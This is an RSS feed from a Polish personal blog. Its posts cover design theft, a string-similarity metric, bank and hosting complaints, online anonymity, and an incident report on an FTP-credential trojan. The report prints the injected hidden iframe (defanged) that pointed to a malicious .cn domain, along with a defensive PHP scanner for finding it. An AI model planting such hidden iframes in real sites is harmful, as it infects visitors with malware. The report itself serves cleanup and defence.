<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>nobigwords.ntxt.net &#187; bezpieczeństwo</title>
	<atom:link href="http://nobigwords.ntxt.net/tematy/bezpieczenstwo/feed/" rel="self" type="application/rss+xml" />
	<link>http://nobigwords.ntxt.net</link>
	<description>not too big words not only about web</description>
	<lastBuildDate>Thu, 08 Dec 2011 23:35:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>graphics design theft</title>
		<link>http://nobigwords.ntxt.net/2011/08/17/graphics-design-theft/</link>
		<comments>http://nobigwords.ntxt.net/2011/08/17/graphics-design-theft/#comments</comments>
		<pubDate>Wed, 17 Aug 2011 20:36:48 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[bezpieczeństwo]]></category>
		<category><![CDATA[media]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[rynek]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[ad]]></category>
		<category><![CDATA[advertisement]]></category>
		<category><![CDATA[art]]></category>
		<category><![CDATA[copy]]></category>
		<category><![CDATA[copy and paste]]></category>
		<category><![CDATA[copyright]]></category>
		<category><![CDATA[digital work]]></category>
		<category><![CDATA[images]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[investigate]]></category>
		<category><![CDATA[K-Prim Design]]></category>
		<category><![CDATA[original]]></category>
		<category><![CDATA[portfolio]]></category>
		<category><![CDATA[publishing]]></category>
		<category><![CDATA[source]]></category>
		<category><![CDATA[theft]]></category>
		<category><![CDATA[thieves]]></category>
		<category><![CDATA[unauthorised]]></category>
		<category><![CDATA[visual]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=562</guid>
		<description><![CDATA[All of you happening to publish your images here and there know that it is all too easy to copy them and sign with other name. Oh no, you do not even have the signatures anymore! But there comes the digital investigation bureau: images.google.com. Long time in beta, long time not really available, it has [...]]]></description>
			<content:encoded><![CDATA[<p>All of you happening to publish your images here and there know that it is all too easy to copy them and sign with other name. Oh no, you do not even have the signatures anymore! But there comes the digital investigation bureau: <a href="http://images.google.com/">images.google.com</a>. Long time in beta, long time not really available, it has now the functionality I was looking for. There, you just drag your fancy JPG over the input box and mighty google says where it has been seen lately. If you see more links than expected, sue them ;) Mine appeared on a <a href="http://www.k-prim.biz/Print/katalozi.html">Bulgarian theft design studio site</a>. Just compare to the <a href="http://ntxt.net/?id=portfolio/rd_bud">4<sup>th</sup> paragraph in my old NTXT portfolio</a>. There&#8217;s a decent company of robbed designers: <a href="http://www.uc4.co.uk/dfp-catalogue.htm">UC4</a>, <a href="http://alpipi.deviantart.com/art/UBA-Company-Profile-Catalogue-74809149">alpipi</a> and more.</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2011/08/17/graphics-design-theft/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Levenshtein and Distance Between Strings in 3D</title>
		<link>http://nobigwords.ntxt.net/2011/06/05/levenshtein-and-distance-between-strings-in-3d/</link>
		<comments>http://nobigwords.ntxt.net/2011/06/05/levenshtein-and-distance-between-strings-in-3d/#comments</comments>
		<pubDate>Sun, 05 Jun 2011 00:50:47 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[3d]]></category>
		<category><![CDATA[actionscript]]></category>
		<category><![CDATA[bezpieczeństwo]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[flex]]></category>
		<category><![CDATA[media]]></category>
		<category><![CDATA[tekst]]></category>
		<category><![CDATA[levenshtein]]></category>
		<category><![CDATA[like]]></category>
		<category><![CDATA[likehood]]></category>
		<category><![CDATA[match strings]]></category>
		<category><![CDATA[similar strings]]></category>
		<category><![CDATA[similarity]]></category>
		<category><![CDATA[strings]]></category>
		<category><![CDATA[text]]></category>
		<category><![CDATA[text metrics]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=312</guid>
		<description><![CDATA[To view the flash content, please go to <a href="http://nobigwords.ntxt.net/2011/06/05/levenshtein-and-distance-between-strings-in-3d/">Levenshtein and Distance Between Strings in 3D</a><br /><br />To view the flash content, please go to <a href="http://nobigwords.ntxt.net/2011/06/05/levenshtein-and-distance-between-strings-in-3d/">Levenshtein and Distance Between Strings in 3D</a><br /><br />To view the flash content, please go to <a href="http://nobigwords.ntxt.net/2011/06/05/levenshtein-and-distance-between-strings-in-3d/">Levenshtein and Distance Between Strings in 3D</a><br /><br />Working on the strings distances, or text metrics, I found out the Levenshtein method insufficient. For less-than-similar strings it doesn&#8217;t help at all, giving numbers close to max possible, and for similar strings it does not consider the quality of different letters. Generally speaking, I find Janet1 closer to Janet2 than to Janet9. Or ABC [...]]]></description>
			<content:encoded><![CDATA[To view the flash content, please go to <a href="http://nobigwords.ntxt.net/2011/06/05/levenshtein-and-distance-between-strings-in-3d/">Levenshtein and Distance Between Strings in 3D</a><br /><br />To view the flash content, please go to <a href="http://nobigwords.ntxt.net/2011/06/05/levenshtein-and-distance-between-strings-in-3d/">Levenshtein and Distance Between Strings in 3D</a><br /><br />To view the flash content, please go to <a href="http://nobigwords.ntxt.net/2011/06/05/levenshtein-and-distance-between-strings-in-3d/">Levenshtein and Distance Between Strings in 3D</a><br /><br /><p>Working on the strings distances, or text metrics, I found out the Levenshtein method insufficient. For less-than-similar strings it doesn&#8217;t help at all, giving numbers close to max possible, and for similar strings it does not consider the quality of different letters. Generally speaking, I find <em>Janet1 </em>closer to <em>Janet2 </em>than to <em>Janet9</em>. Or <em>ABC </em>closer to <em>BBC </em>than to <em>NBC</em>. The notion of number of operations in Lev method didn&#8217;t quite suit me either. Thinking of operations needed to create one string of the other, I&#8217;d rather take the count of smartest possible copy&amp;paste moves. In other words, how many times I have to cut one string to make the other of the slices. That would be distance in first dimension. The other &#8211; distance between letters replacing each other: when abc becomes bbc, it&#8217;s a-b replacement, and distance from a to b is 1. The distance depends on the alphabet used. For some cases it&#8217;s more useful to use a keyboard-layout order of characters instead of usual alphabetic, in order to emphasise similarities based on easy typed sequences, like <em>asdf </em>or <em>qwerty</em>. Here&#8217;s some Flash demo, calculator and benchmark to compare performance of Levenshtein and my method.</p>
<h3>3d position of the words</h3>
<p>it depends on their similarity to the word you input</p>
<p>
<hr />
<h3>Similarity calculator</h3>
<p>gives the original Levenshtein and the distance3d figures</p>
<hr />
<h3>Benchmarking</h3>
<p>Levenshtein is rather quadratic, while distance3d seems more like linear, though the<br />
difference shows up for words longer than 15 characters.</p>
<hr />
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2011/06/05/levenshtein-and-distance-between-strings-in-3d/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BPH, poprzednio GE Money Bank</title>
		<link>http://nobigwords.ntxt.net/2010/02/24/bph-poprzednio-ge-money-bank/</link>
		<comments>http://nobigwords.ntxt.net/2010/02/24/bph-poprzednio-ge-money-bank/#comments</comments>
		<pubDate>Wed, 24 Feb 2010 12:40:14 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[bezpieczeństwo]]></category>
		<category><![CDATA[rynek]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[bank BPH]]></category>
		<category><![CDATA[banki]]></category>
		<category><![CDATA[BPH]]></category>
		<category><![CDATA[call center]]></category>
		<category><![CDATA[GE Money]]></category>
		<category><![CDATA[obsługa klienta]]></category>
		<category><![CDATA[opinie]]></category>
		<category><![CDATA[telefon]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=267</guid>
		<description><![CDATA[Oto post z serii narzekań, bo ostatnio potrzebuję silniejszego bodźca, żeby znaleźć chwilę na pisanie. Zadzwonił telefon. Komórkowy, ale niestety nie wiadomo kto dzwoni &#8211; bo numer zastrzeżony. Smutny pan mówi, że dzwoni z banku BPH, wcześniej GE Money i pyta o moją datę urodzenia. Ja pytam, po co dzwoni i skąd mam wiedzieć że [...]]]></description>
			<content:encoded><![CDATA[<p>Oto post z serii narzekań, bo ostatnio potrzebuję silniejszego bodźca, żeby znaleźć chwilę na pisanie. Zadzwonił telefon. Komórkowy, ale niestety nie wiadomo kto dzwoni &#8211; bo numer zastrzeżony. Smutny pan mówi, że dzwoni z banku BPH, wcześniej GE Money i pyta o moją datę urodzenia. Ja pytam, po co dzwoni i skąd mam wiedzieć że podawanie daty urodzenia ma sens. On na to, że nie może mi powiedzieć, dopóki nie podam daty&#8230; i tak koło się zamknęło, a procedura zabezpieczająca zabezpieczyła się sama przed sobą.</p>
<p>Następnym razem wyślijcie maila, będzie taniej.</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2010/02/24/bph-poprzednio-ge-money-bank/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>polityka bezpieczeństwa home.pl</title>
		<link>http://nobigwords.ntxt.net/2010/02/08/polityka-bezpieczenstwa-homepl/</link>
		<comments>http://nobigwords.ntxt.net/2010/02/08/polityka-bezpieczenstwa-homepl/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 21:29:44 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[bezpieczeństwo]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[3306]]></category>
		<category><![CDATA[baza danych]]></category>
		<category><![CDATA[home.pl]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[połączenie]]></category>
		<category><![CDATA[port 3306]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[zablokowany]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=266</guid>
		<description><![CDATA[Robiąc &#8220;w internecie&#8221; spotyka się człowiek z hostingiem. No karma taka, nie da się bez hostingu żyć i kropka. Przeżyłem więc już doświadczenia z DMKProject (było fajne, ale wyniosło się do USA i ma długi czas pinga), z nazwa.pl (jedno konto FTP), kei.pl (straszny panel administracyjny), wreszcie home.pl (nie można mieć dwóch osobnych skrzynek pocztowych [...]]]></description>
			<content:encoded><![CDATA[<p>Robiąc &#8220;w internecie&#8221; spotyka się człowiek z hostingiem. No karma taka, nie da się bez hostingu żyć i kropka. Przeżyłem więc już doświadczenia z DMKProject (było fajne, ale wyniosło się do USA i ma długi czas pinga), z nazwa.pl (jedno konto FTP), kei.pl (straszny panel administracyjny), wreszcie home.pl (nie można mieć dwóch osobnych skrzynek pocztowych o tej samej nazwie &#8211; np. biuro@ &#8211; w obrębie jednego konta dla dwóch domen). Każda z tych ofert ma swoje wady i zalety. Zalety są w sumie podobne &#8211; każda z nich zwykle szybko, fachowo i pozytywnie reagowała na moje pytania i prośby. Jednak ostatnio home.pl trochę mnie zdziwiło.</p>
<p>Dla jednej ze stron potrzebowaliśmy połączenia bezpośredniego dla MySQL, na porcie 3306, do synchronizacji bazy z lokalną w biurze. Działało. Aż pewnego dnia admin home.pl stwierdził duży ruch na tym porcie z naszego adresu. Zablokował więc ten ruch &#8220;ze względów bezpieczeństwa&#8221;. Co ciekawe, nadal można się połączyć z dowolnego innego IP. Z mojego punktu widzenia zablokowany został adres najbardziej uprawniony do generowania ruchu, a pozostawiono otwarte połączenie z resztą świata, pełną złoczyńców i pedofilów&#8230; ;-) Teraz więc synchronizacja odbywa się z laptopa przez neostradę, a sens operacji pozostaje dla mnie tajemnicą.</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2010/02/08/polityka-bezpieczenstwa-homepl/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>tożsamość incognito i pod przykryciem</title>
		<link>http://nobigwords.ntxt.net/2009/05/16/tozsamosc-incognito-i-pod-przykryciem/</link>
		<comments>http://nobigwords.ntxt.net/2009/05/16/tozsamosc-incognito-i-pod-przykryciem/#comments</comments>
		<pubDate>Sat, 16 May 2009 11:39:59 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[bezpieczeństwo]]></category>
		<category><![CDATA[media]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[rynek]]></category>
		<category><![CDATA[tekst]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[anonimowość]]></category>
		<category><![CDATA[anonimowy]]></category>
		<category><![CDATA[anonimy]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[czuma]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[incognito]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[kataryna]]></category>
		<category><![CDATA[kłamstwa]]></category>
		<category><![CDATA[komunikacja]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[opinie]]></category>
		<category><![CDATA[PR]]></category>
		<category><![CDATA[społeczeństwo]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=189</guid>
		<description><![CDATA[Większość z nas, surfując tu i tam chętnie surfuje &#8220;pod przykryciem&#8221;, jak to ostatnio przetłumaczyła &#8220;undercover&#8221; gazeta.pl (a może PAP?). Wolelibyśmy nie ujawniać swoich tzw. danych osobowych, kiedy nie jest to konieczne. Już nawet Google&#8217;a zbieranie statystycznych danych jest oprotestowywane. Od początku swej popularności internet dawał, złudne zresztą, poczucie nierozpoznawalności. Przez strony WWW przewijały się, [...]]]></description>
			<content:encoded><![CDATA[<p>Większość z nas, surfując tu i tam chętnie surfuje &#8220;pod przykryciem&#8221;, jak to ostatnio <a href="http://wiadomosci.gazeta.pl/Wiadomosci/1,80277,6612897,Polak_skazany_za_wynajecie_prostytutki_dla_14__letniego.html">przetłumaczyła &#8220;undercover&#8221; gazeta.pl (a może PAP?)</a>. Wolelibyśmy nie ujawniać swoich tzw. danych osobowych, kiedy nie jest to konieczne. Już nawet <a href="http://en.wikipedia.org/wiki/Criticism_of_Google">Google&#8217;a zbieranie statystycznych danych</a> jest oprotestowywane. Od początku swej popularności internet dawał, złudne zresztą, poczucie nierozpoznawalności. Przez strony WWW przewijały się, jak przez dworce kolejowe, masy czytelników. Pojawiła się jednak, wraz z falą tzw. Web 2.0, zmiana. Od blogów, przez fora po porównywarki cenowe, niemal wszędzie można dopisać coś od siebie. To oczywiście dobra zmiana, uwalniająca komunikację między ludźmi na niespotykaną dotąd skalę. Dawno już cieszyli się z tej zmiany np. autorzy <a href="http://www.cluetrain.com/">manifestu cluetrain</a>. Razem z tą skalą uwalniane są jednak rozmaite komunikacyjne potwory. Mnie zajął szczególnie jeden &mdash; anonimowość.</p>
<p>Zbiegło się ostatnio parę spraw, które mają ją za wspólną genezę. Czytając o <a href="http://lestat.salon24.pl/105239,kataryna-czuma-igor-janke-emocje">aferze</a> <a href="http://www.kataryna.salon24.pl/104666,czuma-znowu-daje-czadu">Kataryna</a>-<a href="http://czuma.pl/">Czuma</a>, o <a href="http://wyborcza.pl/1,75478,6333155,Falszywe_rekomendacje_zalewaja_siec.html">masowo fałszowanych opiniach</a>, <a href="http://www.goldenline.pl/forum/nieruchomosci/806240/s/1">drobnych fałszerstwach</a>, wreszcie <i>nie czytając</i> portali typu dupelek.pl, czy plutek.pl, cały czas mam wrażenie, że ta anonimowość niedobra jest. Gdy sam piszę tutaj, to każdy wykazując odrobinę zaangażowania jest w stanie sprawdzić, ktom zacz. Kiedy znowu postanowię wylać kubeł pomyj na ministra, żonę piłkarza czy nowy odtwarzacz mp3, to mogę użyć dowolnie wybranego nicka i nikt bez zgody sądu i/lub administratora nie pozna mojej tożsamości. A opinia w świat pójdzie. Gdyby była to moja prywatna opinia, pół biedy. Problem zaczyna się wówczas, gdy ktoś sypnie jakimś honorarium po 10 gr za autorski wpis. Autorsko zarabiając na życie, masy pracujące tworzą dowolnie fałszywy, zamówiony przez pracodawcę obraz dowolnego zjawiska. Konsekwencje są wiadome, fantastyczna zdolność Sieci do wyławiania potrzebnych informacji gnije i śmierdzi zdechłą rybą. Ponieważ jestem lekkomyślnym zwolennikiem przechodzenia do <a href="http://pluro.pl">demokracji elektronicznej</a>, trochę mnie ta słabość wirtualnego świata niepokoi.</p>
<p>Zastanawiam się, co można z tym zrobić. Wiadomo &mdash; administracyjnie nie da się nagle zabronić publikacji anonimowych treści, zresztą nie o to chodzi. Zależałoby mi na tym, żeby autor dowolnego wpisu <i>mógł</i> ujawnić swoją tożsamość. Takie posty, wpisy, komentarze byłyby wielokrotnie bardziej wiarygodne. Sfera anonimowa pozostałaby miejscem dla amatorów pomyj i wytrzymałych. Pierwsza rzecz, to ogólny standard typu <a href="http://pl.wikipedia.org/wiki/OpenID#Zagro.C5.BCenia_OpenID">OpenID</a>, <a href="http://pl.wikipedia.org/wiki/Windows_Live_ID">Windows LiveID</a> czyli jakby paszport dostępny na każdej stronie w necie. Są też inne projekty, jak <a href="http://pl.wikipedia.org/wiki/Liberty_Alliance_Project">Liberty Alliance Project</a>. Na szczęście nieźle to działa we wszelkich portalach społecznościowych wymuszających jawność osoby, jak nasz Goldenline czy Allegro. Mam tylko nadzieję, że biznesplany właścicieli innych opiniotwórczych stron uwzględnią &#8220;potrzebę konsumenta&#8221; i wypromują obywatelską bądź co bądź, postawę polegającą na podpisywaniu się własnym imieniem i nazwiskiem.</p>
<p>Czego wszystkim życzę,</p>
<p><i>Piotr Tomaszewski</i></p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/05/16/tozsamosc-incognito-i-pod-przykryciem/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iframe hack, czyli włamanie na FTP</title>
		<link>http://nobigwords.ntxt.net/2009/05/04/iframe-hack-czyli-wlamanie-na-ftp/</link>
		<comments>http://nobigwords.ntxt.net/2009/05/04/iframe-hack-czyli-wlamanie-na-ftp/#comments</comments>
		<pubDate>Mon, 04 May 2009 08:45:09 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[bezpieczeństwo]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[.cn]]></category>
		<category><![CDATA[atak]]></category>
		<category><![CDATA[doklejanie kodu]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hasło]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[iframe]]></category>
		<category><![CDATA[joomla]]></category>
		<category><![CDATA[lotante]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[trojan]]></category>
		<category><![CDATA[wirus]]></category>
		<category><![CDATA[wklejanie kodu]]></category>
		<category><![CDATA[włamanie]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[zagrożenie]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=176</guid>
		<description><![CDATA[Amerykańska armia testuje automatycznych żołnierzy, mając wciąż skrupuły co do bezpieczeństwa i moralności użycia takiej broni. W Internecie sztuczne wojsko działa już dawno. Trojan, po zainfekowaniu komputera, wykrada hasła do kont FTP z popularnych programów, takich jak Total Commander, czy Filezilla. Następnie wysyła je gdzieś na serwer bandycki, a stamtąd uruchamiane jest włamanie i edycja [...]]]></description>
			<content:encoded><![CDATA[<p>Amerykańska armia testuje <a href="http://www.wired.com/dangerroom/2009/04/army-tests-new/">automatycznych żołnierzy</a>, mając wciąż skrupuły co do bezpieczeństwa i moralności użycia takiej broni. W Internecie sztuczne wojsko działa już dawno. Trojan, po zainfekowaniu komputera, wykrada hasła do kont FTP z popularnych programów, takich jak Total Commander, czy Filezilla. Następnie wysyła je gdzieś na serwer bandycki, a stamtąd uruchamiane jest włamanie i edycja plików. Polega ona na dość prostym doklejeniu kodu do stron na FTP, który w niezauważalny dla użytkownika sposób ściąga z innej złoczynnej witryny szkodliwe oprogramowanie. </p>
<p>Również niniejsza strona i nasza główna &mdash; ntxt.net, zostały, jak mówią Amerykanie, skompromitowane. Piątego kwietnia we wszystkich plikach PHP i HTML o nazwach zaczynających się na &#8216;index&#8217; pojawił się taki kawałek (dodałem gwiazdkę przed http):</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;iframe src=&quot;*http://lotante.cn/in.cgi?income38&quot;
width=1 height=1 style=&quot;visibility: hidden&quot;&gt;&lt;/iframe&gt;</pre></div></div>

<p>Konkretny adres bywa różny, <a href="http://blog.unmaskparasites.com/2009/04/15/malicious-income-iframes-from-cn-domains/">lista podejrzanych domen jest spora</a>. Ten akurat podobno (bo nie sprawdzałem!) sprawdza obecność pluginu Flash luub Acrobat Readera, po czym ściąga spreparowany plik PDF albo SWF. Moim zdaniem warto mieć wyłączony domyślnie JavaScript, (w Firefoksie np. rozszerzeniem <a href="https://addons.mozilla.org/pl/firefox/addon/722">NoScript</a>). Infekcja może spowodować że Google będzie sygnalizować zagrożenie przy wchodzeniu na stronę (jeśli ktoś to zgłosi, oczywiście). Oprócz pozbycia się robactwa z komputera, należy koniecznie zmienić hasło do FTP, unikając zapamiętywania go przez program. <a href="http://totalcmd.pl/download/app/new/Total_Commander_7.50_Public_Beta_2">Total Commander w najnowszej wersji </a>(7.5 beta) ma już ochronę haseł szyfrowaniem i hasłem głównym.</p>
<p>Trzeba też odnaleźć wszystkie zmiany poczynione przez bota na FTP, a to żmudne zajęcie. Odrobinę może pomóc taki skrypt w PHP, przeczesujący pliki zawierające &#8216;index&#8217; w nazwie i sygnalizujący wystąpienia taga &lt;iframe&gt;. Aby z neigo skorzystać, trzeba zapisać go np. pod nazwą znajdziframe.php w katalogu ze stroną, ustawiając wcześniej zmienną $root na odpowiednią dla swojego serwera. Potem, z przeglądarki, wywołujemy go wpisując adres: http://mojserwer/znajdziframe.php?depth=10 i czekamy na listę podejrzanych (bo nie każdy iframe jest zły!). Parametr <i>depth</i> określa głębokość, na jaką w podkatalogi zagłębi się sprawdzacz licząc od katalogu głównego.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?
<span style="color: #666666; font-style: italic;">// katalog główny strony</span>
<span style="color: #000088;">$root</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'/public_html'</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// głębokość sprawdzania w podkatalogach</span>
<span style="color: #000088;">$depth</span> <span style="color: #339933;">=</span> <span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'depth'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> ? <span style="color: #cc66cc;">5</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'depth'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// uruchomienie</span>
digdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$root</span><span style="color: #339933;">,</span> <span style="color: #000088;">$depth</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// rekurencyjna funkcja sprawdzająca</span>
<span style="color: #000000; font-weight: bold;">function</span> digdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #339933;">,</span> <span style="color: #000088;">$level</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$level</span> <span style="color: #339933;">&lt;=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$handle</span> <span style="color: #339933;">=</span> <span style="color: #990000;">opendir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$plik</span> <span style="color: #339933;">=</span> <span style="color: #990000;">readdir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$handle</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$path</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$dir</span>/<span style="color: #006699; font-weight: bold;">$plik</span>&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$plik</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">!=</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
				<span style="color: #666666; font-style: italic;">//$data = date(&quot;Y-m-d&quot;, filemtime($path));</span>
				<span style="color: #666666; font-style: italic;">//$prawa = decoct(fileperms($path));</span>
&nbsp;
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">is_dir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
					<span style="color: #666666; font-style: italic;">//$rozmiar = filesize($path);</span>
					<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/index/'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$plik</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
						<span style="color: #000088;">$contents</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
						<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/iframe/'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$contents</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;znaleziono iframe w <span style="color: #006699; font-weight: bold;">$path</span>&lt;br/&gt;&quot;</span><span style="color: #339933;">;</span>
					<span style="color: #009900;">&#125;</span>
				<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
					digdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #339933;">,</span> <span style="color: #000088;">$level</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>			
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #990000;">closedir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$handle</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/05/04/iframe-hack-czyli-wlamanie-na-ftp/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

